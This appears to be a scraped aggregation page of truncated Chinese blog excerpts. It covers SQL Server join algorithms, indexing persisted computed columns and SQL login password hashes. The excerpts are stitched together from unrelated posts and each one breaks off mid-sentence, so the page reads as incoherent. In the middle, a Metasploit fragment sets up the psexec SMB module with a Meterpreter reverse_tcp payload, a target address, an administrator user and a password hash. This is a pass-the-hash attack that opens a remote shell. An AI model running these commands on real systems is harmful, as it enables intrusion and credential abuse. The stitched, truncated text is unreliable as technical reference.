原文名称 :Microsoft SQL Server Passwords (Cracking the password hashes) 本文系统来源：http://www.cnblogs.com/ye1031/p/4491578.html
简介在 SQL Server 2012 在一些特殊的例子下会看到下面的图标:Hash Join分为两个阶段,分别为生成和探测阶段。
首先是生成阶段，将输入源中的每一个条目经过散列函数的计算都放到不同的Hash Bucket中，其中Hash Function的选择和Hash Bucket的数量都是黑盒，通常来讲，查询优化器都会使用连接两端中比较小的哪个输入集来作为第一阶段的输入源。
接下来是探测阶段，对于另一个输入集合，同样针对每一行进行散列函数，确定其所应在的H...
Table TestFunctionIndex
(id int identity(1,1),val varchar(50),subval as LOWER(SUBSTRING(val,10,4)) persisted --增加一个持久化计算列
)
GO--在持久化计算列上建立索引
create index idx_subvar on TestFunctionIndex(subval)
GO--插入10W行测试数据
insert into TestFunctionIndex(val) values (NEWID())
go 100000在有索引的字段上使用函数之后，是无法使用索引的如果直接在计算列上查询，就可以正常地使用到索引了以上通过...
以下使用Kali演示
Msf使用：
msfconsole //启动终端
use exploit/windows/smb/psexec //用到模块
show options //查看模块选项属性
set PAYLOAD windows/meterpreter/reverse_tcp //设置漏洞利用载体
Show targets //查看模块的攻击目标属性
set LHOST //设置本机地址set RHOST 192.168.0.254 //设置属性目标主机地址set SMBUser administrators //设置属性用户
set SMBPass xxx //设置属性密文hash
目标主...
SQLServer中没有函数索引，在某些场景下查询的时候要根据字段的某一部分做查询或者经过某种计算之后做查询，如果使用函数或者其他方式作用在字段上之后，就会限制到索引的使用，不过我们可以间接地实现类似于函数索引的功能。
另外一个就是如果查询字段较大或者字段较多的时候，所建立的索引就显得有点笨重，效率也不高，就需要考虑使用一个较小的"替代性"字段做等价替换，类似于Hash索引，
本文粗浅地介绍两种上述两种问题的解决方...
转载：http://www.cnblogs.com/CareySon/archive/2013/01/09/2853094.html
简介
在SQL Server中，我们所常见的表与表之间的Inner Join,Outer Join都会被执行引擎根据所选的列，数据上是否有索引，所选数据的选择性转化为Loop Join,Merge Join,Hash Join这三种物理连接中的一种。理解这三种物理连接是理解在表连接时解决性能问题的基础，下面我来对这三种连接的原理，适用场景进行描述。
嵌套循环连接(Nested Loop Join)
...
原文链接：https://sqlity.net/en/2460/sql-password-hash/https://sqlity.net/en/2460/sql-password-hash/
Introduction
I am often asked how SQL Server protects the passwords for SQL Logins. We know already that the passwords are hashed and that the hashed value can be queried using the sys.sql_logins?catalog view. But, how is this value actually calculated? How do you get from a password to its hash?
S...
原文名称 :Microsoft SQL Server Passwords (Cracking the password hashes)